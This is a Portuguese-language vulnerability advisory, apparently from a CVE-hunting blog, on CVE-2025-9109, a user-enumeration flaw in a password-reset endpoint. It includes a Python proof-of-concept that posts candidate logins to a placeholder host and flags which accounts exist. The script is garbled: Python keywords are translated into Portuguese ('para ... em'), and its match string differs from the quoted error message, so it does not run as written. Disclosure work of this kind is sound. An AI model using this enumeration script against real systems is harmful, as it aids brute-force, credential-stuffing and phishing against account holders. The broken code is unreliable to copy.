Featured image of post CVE-2025-9109

CVE-2025-9109

Controle de Acesso Quebrado (Enumeração de Usuários)

CVE-2025-9109: A vulnerabilidade de enumeração de usuários foi identificada na funcionalidade Esqueceu a senha

CVE Publication: https://www.cve.org/CVERecord?id=CVE-2025-9109

Resumo

Uma vulnerabilidade de Enumeração de Usuários foi identificada na funcionalidade Esqueceu a Senha. O sistema responde de forma diferente dependendo se o nome de usuário enviado existe, permitindo que um invasor enumere contas de usuário válidas. Isso pode auxiliar em ataques de força bruta direcionados ou campanhas de engenharia social.

Detalhes

Ao enviar uma solicitação POST para o endpoint /password/email, o sistema retorna respostas diferentes com base na correspondência do parâmetro de login fornecido com um usuário existente.

Por exemplo:

  • Se o usuário existir: a resposta contém uma mensagem como: "Um link de redefinição de senha foi enviado".
  • Se o usuário não existir: a resposta contém uma mensagem como: "Não conseguimos encontrar um usuário com esse login".
  • Esse comportamento permite que um invasor determine quais nomes de usuário são válidos simplesmente automatizando solicitações com entradas diferentes. A vulnerabilidade surge da falta de uma resposta uniforme para contas válidas e inválidas durante o processo de recuperação de senha.

    PoC

    Um script Python foi criado para demonstrar este problema:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    
    import requests
    
    url = "http://x.x.x.x/password/email"
    headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": "http://x.x.x.x",
    "Referer": "http://x.x.x.x/password/reset"
    }
    logins = ["admin", "jose", "maria", "professor", "aluno1"]
    
    para login em logins:
    response = requests.post(url, data={"login": login}, headers=headers)
    if "enviado" em response.text.lower():
    print(f"[+] {login} -> EXISTE")
    elif "não encontramos" in response.text.lower():
    print(f"[-] {login} -> NÃO EXISTE")
    

    Este script conseguiu confirmar quais usuários estão cadastrados no sistema com base no conteúdo da resposta do sistema.

    Impacto

    • Exposição de contas válidas: Os invasores podem confirmar quais usuários estão cadastrados no sistema.
    • Facilita ataques de força bruta: Usuários válidos podem ser alvo de tentativas automatizadas de adivinhação de senhas.
    • Preenchimento de credenciais: Contas descobertas podem ser testadas com senhas vazadas de outros serviços.
    • Phishing direcionado: Os invasores podem enviar e-mails manipulados por engenharia social para usuários confirmados, aumentando a taxa de sucesso de golpes.
    • Perda de privacidade: A simples confirmação da existência de um usuário pode expor dados confidenciais em determinados contextos (por exemplo, contas em serviços restritos ou confidenciais).
    • Escalonamento de ataques: A enumeração de usuários pode servir como um passo inicial para explorar vulnerabilidades mais graves, como invasões de contas.
    • Danos à reputação: A percepção de falhas básicas de segurança pode afetar a credibilidade. do aplicativo com usuários e clientes.

    Referência

    https://vuldb.com/?submit.627926

    Finder

    Vanderlei Princival

    Por: CVE-Hunters

    Built with Hugo
    Theme Stack designed by Jimmy